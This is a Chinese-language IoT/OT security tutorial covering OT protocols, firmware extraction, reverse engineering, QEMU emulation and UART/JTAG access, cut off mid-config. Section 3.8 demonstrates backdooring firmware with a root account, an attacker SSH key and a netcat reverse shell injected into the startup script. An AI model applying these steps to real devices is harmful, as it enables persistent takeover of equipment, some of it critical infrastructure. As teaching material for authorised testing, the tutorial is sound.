IoT与OT工控安全攻防实战:从固件分析到协议漏洞的全链路解析
【合规声明】 本文所有技术内容仅用于授权测试、安全学习与防御研究。未经授权对他人物联网设备、工控系统或关键基础设施进行渗透测试、固件提取或协议攻击属于违法行为。工控系统(OT/ICS)涉及关键基础设施,攻击行为可能导致严重物理后果甚至人员伤亡。请务必在获得书面授权的范围内开展安全工作,遵守《网络安全法》《数据安全法》《个人信息保护法》及《关键信息基础设施安全保护条例》等相关法律法规。
物联网(IoT)与操作技术(OT)安全正成为网络安全领域最紧迫的挑战之一。据 Gartner 统计,2025 年全球联网 IoT 设备数量已突破 270 亿台,而工业控制系统(ICS)广泛分布于电力、水利、制造、交通等关键基础设施。与传统 IT 系统不同,IoT/OT 设备往往资源受限、协议专有、部署周期长且补丁困难,安全防护远滞后于攻击演进。Mirai 蠕虫一夜感染百万设备、Stuxnet 袭击伊朗核设施、Triton 攻击安全仪表系统等事件证明,IoT/OT 攻击已从理论威胁演变为现实灾难。本文将从固件提取、硬件接口、协议漏洞到蠕虫分析,系统讲解 IoT/OT 安全攻防全链路。
一、IoT与OT安全基础
1.1 IoT vs OT vs ICS vs SCADA 概念辨析
这四个概念经常混用,但各有明确边界。
| 概念 | 全称 | 定义 | 典型场景 | 关注重点 |
|---|---|---|---|---|
| IoT | Internet of Things | 互联网连接的智能设备生态 | 智能家居、可穿戴、智慧城市 | 互联性、数据采集、云平台 |
| OT | Operational Technology | 监控和管理物理过程的工业技术 | 制造、电力、石油天然气 | 物理过程控制、实时性 |
| ICS | Industrial Control System | 工业控制系统总称 | SCADA、DCS、PLC | 工业自动化控制 |
| SCADA | Supervisory Control and Data Acquisition | 监控与数据采集系统 | 远程管道、电网监控 | 远程监控、数据采集 |
| DCS | Distributed Control System | 分布式控制系统 | 化工厂、发电厂 | 单一区域内的闭环控制 |
| SIS | Safety Instrumented System | 安全仪表系统 | 紧急停车、安全联锁 | 功能安全、保护人身 |
【提示】 简单记忆:IoT 面向消费与商用互联设备,OT 是工业技术的总称,ICS 是 OT 的核心子系统,SCADA 是 ICS 的一种架构形态。IoT 和 OT 的交集正在增大(IIoT 工业物联网),但安全关注点不同:IoT 重数据隐私,OT 重物理安全。
1.2 IoT 架构层次模型
IoT 架构通常分为三层,每层的安全威胁截然不同。
| 架构层次 | 功能描述 | 典型组件 | 主要威胁 |
|---|---|---|---|
| 感知层 | 数据采集与物理世界感知 | 传感器、RFID、摄像头、PLC | 设备伪造、物理篡改、侧信道 |
| 网络层 | 数据传输与通信 | Wi-Fi、ZigBee、LoRa、5G、MQTT | 协议漏洞、中间人、DDoS |
| 应用层 | 数据处理与服务提供 | 云平台、移动App、Web后台 | API漏洞、越权访问、数据泄露 |
感知层是 IoT 安全的根基,一旦传感器被篡改,上层所有决策都将基于虚假数据。网络层面临协议设计缺陷和加密不足的问题。应用层与传统 Web 安全有交集,但 IoT 的 API 和权限模型更复杂。
1.3 Purdue 模型与工业网络分层
Purdue 企业参考架构模型是 OT 安全的网络分层标准,将工业网络分为 6 个层级。
| 层级 | 名称 | 典型设备 | 安全要点 |
|---|---|---|---|
| Level 0 | 物理过程层 | 传感器、执行器、电机 | 物理防护、防篡改 |
| Level 1 | 基本控制层 | PLC、RTU、控制器 | 固件安全、协议认证 |
| Level 2 | 监督控制层 | SCADA/HMI、 historian | 操作员权限、审计 |
| Level 3 | 操作支持层 | MES、调度系统 | 区域隔离、变更管理 |
| Level 3.5 | DMZ(IT/OT 边界) | 防火墙、单向网闸 | 单向数据流、协议过滤 |
| Level 4 | 企业IT层 | ERP、OA、邮件 | 传统IT安全 |
| Level 5 | 企业外部 | 互联网、云 | 边界防护、VPN |
【提示】 Purdue 模型的核心思想是层级隔离:IT 和 OT 之间必须存在 DMZ(Level 3.5),且推荐使用单向网闸(数据二极管)实现 OT 到 IT 的单向数据流,防止 IT 侧攻击渗透到 OT 侧。Stuxnet 正是通过 U 盘跨越了这一隔离边界。
1.4 OT 与 IT 安全差异
OT 安全与 IT 安全在设计哲学上存在根本差异,不能简单套用 IT 安全方案。
| 对比维度 | IT 安全 | OT 安全 |
|---|---|---|
| 首要目标 | 数据机密性(CIA) | 可用性与安全(AIC + 人身安全) |
| 实时性 | 秒级延迟可接受 | 毫秒级,延迟可能导致物理事故 |
| 补丁周期 | 每月/每周补丁 | 季度/年度,需停机验证 |
| 设备生命周期 | 3-5 年 | 15-30 年 |
| 网络隔离 | 开放互联网 | 封闭/隔离网络 |
| 协议 | TCP/IP 标准化 | Modbus/DNP3 等专有协议 |
| 加密能力 | CPU 充足,可强加密 | 资源受限,弱加密或无加密 |
| 攻击后果 | 数据泄露、服务中断 | 物理损坏、环境污染、人员伤亡 |
| 补丁测试 | 影响有限 | 需 extensive 工厂验收测试(FAT/SAT) |
OT 安全的"可用性优先"意味着:在 OT 环境中,安全措施不能影响生产连续性。一个导致 PLC 停机的安全补丁,其危害可能比漏洞本身更大。
1.5 常见 IoT 设备分类
| 设备类别 | 典型设备 | 常见架构 | 典型漏洞 |
|---|---|---|---|
| 智能家居 | 路由器、摄像头、门锁 | MIPS/ARM + Linux | 默认密码、UPnP漏洞、命令注入 |
| 可穿戴设备 | 智能手表、手环 | ARM + RTOS | BLE配对缺陷、数据明文 |
| 工业网关 | 边缘网关、协议转换器 | ARM + Linux | 协议透传、固件未签名 |
| 医疗设备 | 输液泵、呼吸机、除颤器 | ARM/x86 + 专有OS | 互操作性风险、远程控制 |
| 车载设备 | T-Box、车机、ECU | ARM + AutoSAR/Linux | CAN总线注入、OTA降级 |
| 智慧城市 | 智能路灯、交通信号 | ARM + Linux | 资源耗尽、协议无认证 |
| 农业IoT | 灌溉控制器、土壤监测 | MIPS/ARM + Linux | 默认凭据、协议明文 |
1.6 常见 OT/ICS 协议分类
| 协议 | 全称 | 层级 | 端口 | 安全特性 | 应用场景 |
|---|---|---|---|---|---|
| Modbus TCP | Modbus over TCP | L1-L2 | 502 | 无认证、无加密 | PLC通信、SCADA |
| DNP3 | Distributed Network Protocol | L1-L3 | 20000 | 可选Secure Auth v5 | 电力、水务 |
| IEC 60870-5-104 | 远动规约 | L1-L3 | 2404 | 无认证、无加密 | 电力SCADA |
| PROFINET | PROFINET IO | L1-L2 | 34962 | 无认证(PN-RT) | 工业自动化 |
| EtherNet/IP | EtherNet/IP (CIP) | L1-L3 | 44818 | 无认证(CIP) | AB PLC通信 |
| BACnet | Building Automation Control | L1-L3 | 47808 | 可选认证(弱) | 楼宇自动化 |
| S7Comm | Siemens S7 Protocol | L1-L2 | 102 | 弘认证 | S7 PLC通信 |
| OpcUA | OPC Unified Architecture | L3-L4 | 4840 | 完整安全套件 | 跨厂商互操作 |
【提示】 大部分 OT 协议设计于 20 世纪 80-90 年代,当时网络隔离是默认前提,因此协议本身几乎不做安全设计。OpcUA 是少数从设计之初就内置完整安全套件(加密、认证、授权)的 OT 协议,代表了 OT 协议安全的发展方向。
二、固件提取与分析
固件(Firmware)是 IoT/OT 设备的灵魂,包含了操作系统、应用程序、配置文件、凭据等全部信息。固件分析是 IoT 安全测试的第一步。
2.1 固件获取方法
| 获取方法 | 难度 | 完整性 | 适用场景 | 所需工具 |
|---|---|---|---|---|
| 厂商官网下载 | 低 | 高 | 开源路由器、公开固件 | 浏览器 |
| UART串口提取 | 中 | 高 | 有调试串口的设备 | USB-TTL、万用表 |
| JTAG调试提取 | 中高 | 高 | 有JTAG接口的设备 | JTAG调试器 |
| 芯片拆焊读取 | 高 | 完整 | Flash芯片在板上 | 烙铁、编程器 |
| OTA抓包获取 | 低 | 中 | 支持在线更新的设备 | Wireshark、mitmproxy |
| 调试接口读取 | 中 | 高 | 有调试模式的设备 | 串口/网口 |
| 在线升级嗅探 | 低 | 中 | 已知更新URL的设备 | Burp Suite |
2.2 binwalk 固件扫描与提取
binwalk 是固件分析的事实标准工具,基于签名扫描识别固件中的文件系统、内核和各种嵌入式数据。
安装 binwalk:
# Ubuntu/Debian
sudo apt install binwalk
# 从源码安装(推荐,获取最新特征库)
git clone https://github.com/ReFirmLabs/binwalk.git
cd binwalk
python3 setup.py install
# 安装提取依赖
sudo apt install python3-lzma python3-crypto python3-lzo
sudo pip3 install squashfs-tools jefferson sasquatch yaffs2utils
sudo apt install unrar-free p7zip-full
固件扫描:
# 基本扫描,识别固件中的各类数据结构
binwalk firmware.bin
# 详细扫描,显示更多信息
binwalk -v firmware.bin
# 递归扫描(对提取的子文件继续扫描)
binwalk -e -M firmware.bin
# 熵分析,检测加密/压缩区域
binwalk -E firmware.bin
# 签名扫描,显示匹配的签名
binwalk -X firmware.bin
# 指定扫描magic规则文件
binwalk -m custom_magic.bin firmware.bin
固件提取:
# 自动提取(最常用)
binwalk -e firmware.bin
# 递归提取,对提取出的文件继续扫描和提取
binwalk -eM firmware.bin
# 指定提取目录
binwalk -e -C ./extracted firmware.bin
# 提取指定偏移量的数据
binwalk -dd '.*' firmware.bin
# 只提取指定类型(如squashfs)
binwalk -e -S squashfs firmware.bin
# 提取后运行自定义脚本
binwalk -e -f firmware_extracted.log firmware.bin
熵分析:
# 生成熵图,识别加密/压缩区域
binwalk -E firmware.bin
# 熵分析输出为CSV
binwalk -E --quiet firmware.bin > entropy.csv
熵值接近 1.0 表示高随机性(加密或压缩),接近 0.0 表示低随机性(文本、空数据)。固件中一段高熵区域后面紧跟已知文件系统签名,通常意味着压缩数据。
2.3 文件系统分析
binwalk 提取后通常会得到一个文件系统目录,需要针对不同格式进行分析。
# 查看提取结果
ls -la _firmware.bin.extracted/
# 识别文件系统类型
file _firmware.bin.extracted/*
# 挂载squashfs文件系统(只读)
mkdir /mnt/squashfs
sudo mount -t squashfs -o loop root.squashfs /mnt/squashfs
# 挂载jffs2文件系统
mkdir /mnt/jffs2
sudo modprobe mtdblock
sudo mount -t jffs2 -o loop root.jffs2 /mnt/jffs2
# 使用unsquashfs直接解包
unsquashfs root.squashfs
ls squashfs-root/
# cramfs解包
cramfsck -x cramfs_root root.cramfs
# ubifs解包(需要ubi-reader)
pip3 install ubi-reader
ubireader_extract_images root.ubi
ubireader_extract_files root.ubi
| 文件系统 | 特征 | 提取工具 | 常见设备 |
|---|---|---|---|
| SquashFS | 只读压缩,最常见 | unsquashfs | 路由器、摄像头 |
| JFFS2 | 可读写,日志型 | mtdblock挂载 | 嵌入式Linux |
| CramFS | 只读压缩 | cramfsck | 老式设备 |
| UBIFS | Flash优化 | ubi-reader | 现代嵌入式 |
| YAFFS2 | NAND Flash优化 | yaffs2utils | 移动设备 |
| ROMFS | 极简只读 | mount -t romfs | 超低端设备 |
2.4 firmware-mod-kit 使用
firmware-mod-kit(FMK)用于解包、修改和重打包固件,适合固件修改后注入后门或打补丁的场景。
# 安装firmware-mod-kit
git clone https://github.com/rampageX/firmware-mod-kit.git
cd firmware-mod-kit
# 安装依赖
sudo apt install build-essential zlib1g-dev liblzma-dev liblzma5 \
liblzo2-dev liblzo2-2 liblzo2-2 python3
# 解包固件
./extract-firmware.sh firmware.bin
# 进入解包目录
cd firmware-mod-kit/firmware.bin/
# 修改文件系统内容,如添加后门、修改配置
# 重新打包固件
./build-firmware.sh
# 输出: new-firmware.bin
2.5 固件解密与解压
部分厂商(如 D-Link、Netgear)会对固件进行加密,binwalk 无法直接识别。
# D-Link固件解密(使用dlink-decrypt)
git clone https://github.com/0xd0ff9/dlink-decrypt.git
python3 dlink-decrypt.py dlink_firmware.bin decrypted.bin
# Netgear固件解密(针对特定型号)
# 使用工具如Netgear firmware decrypt
python3 netgear_decrypt.py --input firmware.bin --output decrypted.bin
# 通用方法:通过Ghidra逆向解密程序
# 1. 在Ghidra中加载设备原始解密程序(如/bin/encrypt)
# 2. 定位解密函数,识别加密算法和密钥
# 3. 提取密钥后编写Python解密脚本
# 识别加密固件的方法
binwalk -E firmware.bin # 熵值接近1.0且无已知签名
xxd firmware.bin | head # 查看文件头
strings firmware.bin | head # 查看可读字符串
2.6 Unblob 工具使用
Unblob 是新一代固件提取工具,比 binwalk 更准确地识别和提取嵌入式数据。
# 安装Unblob
pipx install unblob
# 或使用Docker
docker run --rm -v $(pwd):/data ghcr.io/unblob/unblob:latest /data/firmware.bin
# 基本使用
unblob firmware.bin
# 指定输出目录
unblob -e ./extracted firmware.bin
# 递归提取
unblob -r firmware.bin
# 显示详细日志
unblob -v firmware.bin
# 只识别不提取
unblob -x firmware.bin
2.7 完整固件提取流程
#!/bin/bash
# complete_firmware_extraction.sh - 完整固件提取流程
FIRMWARE=$1
WORKDIR=$(pwd)/firmware_analysis
mkdir -p $WORKDIR
cd $WORKDIR
echo "[*] Step 1: 基本信息收集"
file $FIRMWARE
md5sum $FIRMWARE
sha256sum $FIRMWARE
echo "[*] Step 2: binwalk扫描"
binwalk $FIRMWARE > binwalk_scan.txt
cat binwalk_scan.txt
echo "[*] Step 3: 熵分析"
binwalk -E $FIRMWARE > entropy_analysis.txt
echo "[*] Step 4: binwalk递归提取"
binwalk -eM $FIRMWARE
echo "[*] Step 5: Unblob补充提取"
unblob -e ./unblob_output $FIRMWARE
echo "[*] Step 6: 文件系统分析"
find . -name "*.squashfs" -o -name "*.jffs2" -o -name "*.cramfs" -o -name "*.ubi" | while read fs; do
echo " 发现文件系统: $fs"
file "$fs"
done
echo "[*] Step 7: 挂载并浏览文件系统"
# 假设提取到 squashfs-root
if [ -d "squashfs-root" ]; then
echo " squashfs-root 内容:"
ls -la squashfs-root/
echo " /etc 目录:"
ls -la squashfs-root/etc/ 2>/dev/null
echo " /usr/sbin 目录(关键二进制):"
ls -la squashfs-root/usr/sbin/ 2>/dev/null
echo " web根目录:"
find squashfs-root/ -name "*.cgi" -o -name "*.php" -o -name "*.lua" 2>/dev/null
fi
echo "[*] Step 8: 字符串提取"
strings -n 8 $FIRMWARE > firmware_strings.txt
echo " 字符串总数: $(wc -l < firmware_strings.txt)"
echo "[*] Step 9: 敏感信息搜索"
echo " 搜索密码:"
grep -i -E "password|passwd|pwd|admin|root" squashfs-root/etc/ 2>/dev/null
echo " 搜索密钥:"
grep -r -i "private.key\|api.key\|secret\|token" squashfs-root/ 2>/dev/null
echo " 搜索配置文件:"
find squashfs-root/ -name "*.conf" -o -name "*.cfg" -o -name "*.config" 2>/dev/null
echo "[*] 提取完成,结果在 $WORKDIR"
三、固件逆向与漏洞分析
3.1 固件架构识别
提取文件系统后,需要识别固件二进制程序的 CPU 架构和字节序,以正确加载到逆向工程工具中。
# 使用file命令识别架构
file squashfs-root/bin/busybox
# 输出示例: ELF 32-bit LSB executable, MIPS, MIPS32 rel2, ...
# 使用readelf查看ELF头
readelf -h squashfs-root/bin/busybox | grep -E "Machine|Class|Data"
# 批量识别所有二进制
find squashfs-root/ -type f -executable -exec file {} \; | sort -u
# 识别字节序(MIPS有大端和小端之分)
readelf -h binary | grep Data
# MSB = 大端(Big Endian), LSB = 小端(Little Endian)
# 使用binwalk查看固件整体架构信息
binwalk -A firmware.bin
| 常见架构 | 字节序 | 常见设备 | QEMU模拟器 |
|---|---|---|---|
| MIPS (mipsel) | 小端 | 路由器(TP-Link/Netgear) | qemu-mipsel |
| MIPS (mipseb) | 大端 | 路由器(部分老型号) | qemu-mips |
| ARM (armel) | 小端 | 摄像头、智能家居 | qemu-arm |
| ARM (armhf) | 硬浮点 | 现代ARM设备 | qemu-armhf |
| x86/x86_64 | 小端 | 工业网关、医疗设备 | qemu-x86_64 |
| PowerPC | 大端 | 老式PLC、网络设备 | qemu-ppc |
| AArch64 | 小端 | 现代ARM 64位设备 | qemu-aarch64 |
3.2 Ghidra 加载固件分析
Ghidra 是 NSA 开源的反汇编与反编译框架,支持加载和分析嵌入式固件二进制。
# Ghidra加载固件二进制
# 1. 启动Ghidra
ghidraRun
# 2. 导入二进制: File -> Import File -> 选择busybox或目标程序
# 3. 选择正确的语言: MIPS:BE:32:default 或 MIPS:LE:32:default
# 4. 分析选项中勾选:
# - Decompiler Parameter ID
# -恢复参数类型
# - Non-Return Functions
# - 识别不返回的函数
# - Embedded Media - 识别嵌入的文件
# - Assume Input is Firmware - 固件模式
# Ghidra Headless模式(批量分析)
analyzeHeadless /tmp/ghidra_project proj_name \
-import binary_path \
-processor "MIPS:BE:32:default" \
-postScript AnalyzeScript.java \
-scriptPath /opt/ghidra_scripts
Ghidra 分析关键步骤:
# 1. 定位main函数或入口点
# 在Ghidra的Symbol Tree中搜索: entry, main, _start
# 2. 搜索关键字符串
# Search -> For Strings -> 搜索: password, admin, cmd, system
# 3. 交叉引用分析
# 在字符串上右键 -> References -> Show References to Address
# 找到引用该字符串的函数
# 4. 反编译查看C伪代码
# 在反汇编窗口按 F5 或 Window -> Decompile
# 5. 重命名和标注
# 右键函数 -> Rename Function
# 右键变量 -> Rename Variable
# 6. 导出分析结果
# File -> Export Program -> C/C++ -> 导出反编译C代码
3.3 IDA Pro 加载固件
# IDA加载固件二进制
# 1. File -> Open -> 选择目标二进制
# 2. 选择处理器类型: MIPS Little Endian / ARM / x86
# 3. 设置加载基地址(固件可能加载到0x80000000等地址)
# IDA加载固件文件系统中的程序
ida -B -P+ squashfs-root/usr/bin/httpd
# 使用IDAPython自动化分析
# File -> Script command -> Python
IDAPython 自动化提取关键函数示例:
# ida_extract_functions.py - IDAPython自动分析脚本
import idautils
import idc
import ida_funcs
# 遍历所有函数
for func_ea in idautils.Functions():
func_name = idc.get_func_name(func_ea)
func = ida_funcs.get_func(func_ea)
print(f"函数: {func_name} @ 0x{func_ea:08X}, 大小: {func.size()} bytes")
# 搜索包含"system"调用的函数
for func_ea in idautils.Functions():
func_name = idc.get_func_name(func_ea)
# 检查是否调用了system/popen/execve
for call_ea in idautils.FuncItems(func_ea):
if idc.print_insn_mnem(call_ea) == "jal": # MIPS跳转链接
target = idc.get_operand_value(call_ea, 0)
target_name = idc.get_func_name(target)
if target_name in ["system", "popen", "execve", "exec"]:
print(f"[!] {func_name} 调用 {target_name} @ 0x{call_ea:08X}")
3.4 QEMU 模拟运行固件
QEMU 可以在无需真实硬件的情况下模拟运行固件二进制,分为用户态和系统态两种模式。
用户态模拟(运行单个程序):
# 安装QEMU用户态模拟器
sudo apt install qemu-user qemu-user-static
# 运行MIPS小端二进制
qemu-mipsel -L squashfs-root/ squashfs-root/bin/busybox
# 运行ARM二进制
qemu-arm -L squashfs-root/ squashfs-root/bin/httpd
# 运行MIPS大端二进制
qemu-mips -L squashfs-root/ squashfs-root/bin/busybox
# 运行时附加GDB调试
qemu-mipsel -g 1234 -L squashfs-root/ squashfs-root/bin/httpd
# 另一终端: gdb-multiarch -ex "target remote :1234" -ex "file httpd"
# 设置环境变量
qemu-mipsel -L squashfs-root/ -E LD_LIBRARY_PATH=/lib \
squashfs-root/bin/httpd -p 8080
# 使用chroot完整运行
sudo chroot squashfs-root/ /bin/sh # 需要qemu-user-static
系统态模拟(运行完整系统):
# 下载MIPS路由器模拟镜像
wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-5kc-malta
# 启动MIPS系统模拟
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-5kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-nographic -net nic -net tap
# 启动ARM系统模拟
qemu-system-arm -M versatilepb -kernel zImage \
-initrd initrd.img -dtb versatile-pb.dtb \
-append "root=/dev/ram console=ttyAMA0" \
-nographic -net nic -net tap
# 将固件文件系统挂载到QEMU中
# 1. 将squashfs-root打包为镜像
dd if=/dev/zero of=rootfs.img bs=1M count=50
mkfs.ext2 rootfs.img
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a squashfs-root/* /mnt/rootfs/
sudo umount /mnt/rootfs
# 2. QEMU挂载该镜像启动
qemu-system-mips -M malta -kernel vmlinux \
-hda rootfs.img -append "root=/dev/sda1 console=ttyS0" \
-nographic -netdev user,id=net0,hostfwd=tcp::8080-:80 \
-device e1000,netdev=net0
3.5 固件中的 Web 服务分析
IoT 固件通常内嵌轻量级 Web 服务器,是攻击面的核心。
| Web服务器 | 特点 | 常见漏洞 | 识别方法 |
|---|---|---|---|
| lighttpd | 轻量高效,支持FastCGI | 配置不当、路径穿越 | 配置文件lighttpd.conf |
| GoAhead | 嵌入式首选,CGI支持 | CGI注入、栈溢出 | 可执行文件goahead |
| boa | 极轻量,老式设备 | 栈溢出、目录遍历 | 可执行文件boa |
| thttpd | 简单HTTP服务器 | CGI注入 | 可执行文件thttpd |
| microhttpd | 极简嵌入式 | 认证绕过 | 库文件libmicrohttpd |
| mini_httpd | 支持SSL | 栈溢出 | 可执行文件mini_httpd |
| uhttpd | OpenWrt默认 | CGI命令注入 | 配置文件uhttpd.config |
# 定位Web服务器
find squashfs-root/ -name "lighttpd" -o -name "goahead" -o -name "boa" \
-o -name "thttpd" -o -name "uhttpd" -o -name "mini_httpd" -o -name "httpd"
# 查看Web配置文件
find squashfs-root/ -name "lighttpd.conf" -o -name "httpd.conf" \
-o -name "uhttpd.conf" -o -name "goahead.conf"
# 查看CGI脚本目录
find squashfs-root/ -path "*/cgi-bin/*" -type f
# 分析CGI脚本
cat squashfs-root/www/cgi-bin/login.cgi
file squashfs-root/www/cgi-bin/* # 检查是编译二进制还是脚本
# 查看Web根目录
find squashfs-root/ -name "index.html" -o -name "index.htm" -o -name "index.php"
ls -la squashfs-root/www/ 2>/dev/null || ls -la squashfs-root/var/www/ 2>/dev/null
3.6 硬编码凭据提取
# 使用grep搜索硬编码密码
grep -r -i "password" squashfs-root/etc/
grep -r -i "passwd" squashfs-root/etc/
# 搜索shadow文件(加密密码哈希)
cat squashfs-root/etc/shadow
cat squashfs-root/etc/passwd
# 使用strings提取所有字符串
strings -n 8 squashfs-root/bin/busybox > strings.txt
# 搜索常见凭据模式
grep -i -E "(password|passwd|pwd|secret|admin|root|support|user|guest)" strings.txt
# 提取可执行文件中的字符串
for binary in squashfs-root/bin/* squashfs-root/usr/bin/* squashfs-root/usr/sbin/*; do
echo "=== $binary ==="
strings -n 10 "$binary" | grep -i -E "pass|admin|root|secret|key|token"
done
# 使用ExtractScripts提取shell脚本中的凭据
find squashfs-root/ -name "*.sh" -exec grep -l -i "password\|passwd\|secret" {} \;
# 搜索数据库连接字符串
grep -r -E "mysql://|postgresql://|mongodb://|redis://" squashfs-root/
# 搜索API密钥
grep -r -E "api_key|apikey|api-key|access_key|accesskey" squashfs-root/
# 搜索SSH密钥
find squashfs-root/ -name "id_rsa" -o -name "id_dsa" -o -name "authorized_keys"
ExtractScripts 工具使用:
# ExtractScripts - 从固件脚本中提取硬编码凭据
git clone https://github.com/GGyao/extract-scripts.git
cd extract-scripts
python3 extract.py -d squashfs-root/
# 输出: 提取所有脚本中的凭据、密钥、配置
3.7 后门账号发现
# 检查passwd/shadow文件中的可疑账号
cat squashfs-root/etc/passwd
# 格式: username:x:uid:gid:gecos:home:shell
# 重点关注: uid=0的账号(root权限)
cat squashfs-root/etc/shadow
# 格式: username:hash:...
# 搜索隐藏的管理账号
grep ":0:" squashfs-root/etc/passwd # 所有uid=0的账号
# 检查web管理界面的默认账号
grep -r -i "admin\|root\|support\|guest\|default" squashfs-root/etc/
# 搜索二进制中嵌入的凭据
strings squashfs-root/bin/login | grep -i "admin\|password"
# 检查配置文件中的账号密码
cat squashfs-root/etc/config/system_config
cat squashfs-root/etc/default_settings.xml 2>/dev/null
# 破解哈希密码
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
hashcat -m 1800 hash.txt wordlist.txt # SHA-512
hashcat -m 500 hash.txt wordlist.txt # MD5
3.8 固件修改与重打包
# 使用firmware-mod-kit修改固件
cd firmware-mod-kit
./extract-firmware.sh firmware.bin
# 进入解包目录
cd firmware.bin/
# 示例:修改Web配置添加后门账号
echo "backdoor::0:0:backdoor:/root:/bin/sh" >> etc/passwd
echo 'backdoor:$1$abc123$xyz...:17000:0:99999:7:::' >> etc/shadow
# 示例:添加SSH公钥后门
mkdir -p root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker_key" >> root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
# 示例:修改启动脚本注入反弹shell
echo '/bin/busybox nc -e /bin/sh 192.168.1.100 4444 &' >> etc/init.d/rcS
# 重新打包
./build-firmware.sh
# 输出: new-firmware.bin
# 验证修改后的固件
binwalk new-firmware.bin
3.9 完整固件逆向流程
#!/bin/bash
# firmware_reverse_workflow.sh - 完整固件逆向流程
ROOTFS="squashfs-root"
OUTPUT="firmware_analysis_report.txt"
echo "=== 固件逆向分析报告 ===" > $OUTPUT
echo "分析时间: $(date)" >> $OUTPUT
echo "[*] 1. 架构识别" >> $OUTPUT
MAIN_BINARY=$(find $ROOTFS -name "busybox" -o -name "init" | head -1)
file $MAIN_BINARY >> $OUTPUT
readelf -h $MAIN_BINARY | grep -E "Machine|Class|Data" >> $OUTPUT
echo "[*] 2. Web服务识别" >> $OUTPUT
WEB_SERVERS="lighttpd goahead boa thttpd uhttpd mini_httpd httpd"
for srv in $WEB_SERVERS; do
found=$(find $ROOTFS -name "$srv" -type f 2>/dev/null)
if [ -n "$found" ]; then
echo " Web服务器: $srv ($found)" >> $OUTPUT
fi
done
echo "[*] 3. CGI脚本分析" >> $OUTPUT
find $ROOTFS -path "*/cgi-bin/*" -type f 2>/dev/null >> $OUTPUT
echo "[*] 4. 硬编码凭据" >> $OUTPUT
grep -r -i -n "password\|passwd\|admin\|root\|secret\|key\|token" \
$ROOTFS/etc/ 2>/dev/null >> $OUTPUT
echo "[*] 5. 网络服务分析" >> $OUTPUT
find $ROOTFS -name "inetd.conf" -exec cat {} \; 2>/dev/null >> $OUTPUT
grep -r "telnet\|ssh\|ftp\|http" $ROOTFS/etc/services 2>/dev/null >> $OUTPUT
echo "[*] 6. 启动脚本分析" >> $OUTPUT
find $ROOTFS -path "*/init.d/*" -o -name "rcS" -o -name "inittab" | \
while read f; do
echo " === $f ===" >> $OUTPUT
cat "$f" 2>/dev/null >> $OUTPUT
done
echo "[*] 7. 配置文件分析" >> $OUTPUT
find $ROOTFS -name "*.conf" -o -name "*.cfg" -o -name "*.xml" | \
while read f; do
echo " === $f ===" >> $OUTPUT
cat "$f" 2>/dev/null >> $OUTPUT
done
echo "[*] 分析完成,报告: $OUTPUT"
四、硬件接口攻击
4.1 硬件接口分类
IoT/OT 设备的硬件调试接口是物理攻击的核心入口。
| 接口 | 全称 | 引脚数 | 用途 | 攻击价值 |
|---|---|---|---|---|
| UART | Universal Async Receiver/Transmitter | 3-4 | 串口调试 | 获取Shell、读取日志 |
| JTAG | Joint Test Action Group | 10-20 | 边界扫描/调试 | 读取Flash、调试CPU |
| SWD | Serial Wire Debug | 2-4 | ARM调试 | 调试ARM、读内存 |
| SPI | Serial Peripheral Interface | 4-6 | Flash通信 | 读取SPI Flash |
| I2C | Inter-Integrated Circuit | 2 | 芯片间通信 | 读取EEPROM/传感器 |
| eMMC | Embedded Multi Media Card | 11-20 | Flash存储 | 读取eMMC固件 |
| NAND | NAND Flash | 8-48 | 大容量存储 | 读取NAND固件 |
4.2 UART 串口调试
UART 是最常见的硬件调试接口,通常暴露在 PCB 上的 3-4 个焊盘上。
识别 UART 引脚:
# UART通常有TXD, RXD, GND, VCC(3.3V)四个引脚
# 识别方法:
# 1. 查看PCB上的标注: TX, RX, GND, VCC, TXD, RXD
# 2. 用万用表测量: GND对地电阻为0, VCC约3.3V
# 3. TXD引脚在设备启动时有持续信号输出(电压波动)
# 使用万用表找GND
# 设置万用表到蜂鸣档(导通测试)
# 一端接USB外壳(地),另一端逐个测试PCB焊盘
# 蜂鸣响的即为GND
# 使用逻辑分析仪确定波特率
# 连接逻辑分析仪到TXD和GND
# 采样设备启动时的UART输出
# 在PulseView/Logic中分析波特率(常见: 9600, 115200, 57600)
连接 UART:
# 硬件准备: USB-TTL转换器(CH340/CP2102/FT232)
# 接线:
# 设备TXD -> USB-TTL的RXD
# 设备RXD -> USB-TTL的TXD
# 设备GND -> USB-TTL的GND
# 不接VCC(避免供电冲突)
# Linux串口工具
# 安装
sudo apt install minicom picocom screen
# 使用minicom连接
sudo minicom -D /dev/ttyUSB0 -b 115200
# Ctrl-A, Z 进入帮助菜单
# 设置: Ctrl-A -> O -> Serial Port Setup -> 115200 8N1
# 使用picocom连接(推荐)
sudo picocom -b 115200 /dev/ttyUSB0
# Ctrl-A, Ctrl-X 退出
# 使用screen连接
sudo screen /dev/ttyUSB0 115200
# Windows下使用PuTTY或TeraTerm
# 串口: COM3, 波特率: 115200, 数据位: 8, 停止位: 1, 无校验
UART 交互获取 Shell:
# 设备启动后通常需要中断启动过程进入uboot
# 在串口输出中看到 "Hit any key to stop autoboot" 时按键中断
# U-Boot命令行交互
=> help # 查看帮助
=> printenv # 查看环境变量
=> bootdelay=10 # 设置启动延迟
=> setenv bootdelay 10
=> saveenv # 保存环境变量
# 修改启动参数进入单用户模式
=> setenv bootargs "console=ttyS0 root=/dev/mtdblock2 init=/bin/sh"
=> boot
# 获取root shell后
# 查看固件版本
cat /etc/version
# 查看分区布局
cat /proc/mtd
# 读取Flash
dd if=/dev/mtd0 of=/tmp/firmware.bin
4.3 JTAG 调试
JTAG 接口可访问 CPU 调试端口,直接读取内存和 Flash。
# 使用OpenOCD连接JTAG
sudo apt install openocd
# 查看支持的JTAG适配器
openocd -l | grep adapter
# 使用JTAG适配器(如ST-Link, J-Link, CMSIS-DAP)
# 配置文件示例: openocd.cfg
cat > openocd.cfg << 'EOF'
interface ftdi
ftdi_vid_pid 0x0403 0x6010
ftdi_layout_init 0x0008 0x001b
adapter_khz 100
jtag newtap target cpu -irlen 5 -expected-id 0x12345678
set _TARGETNAME target.cpu
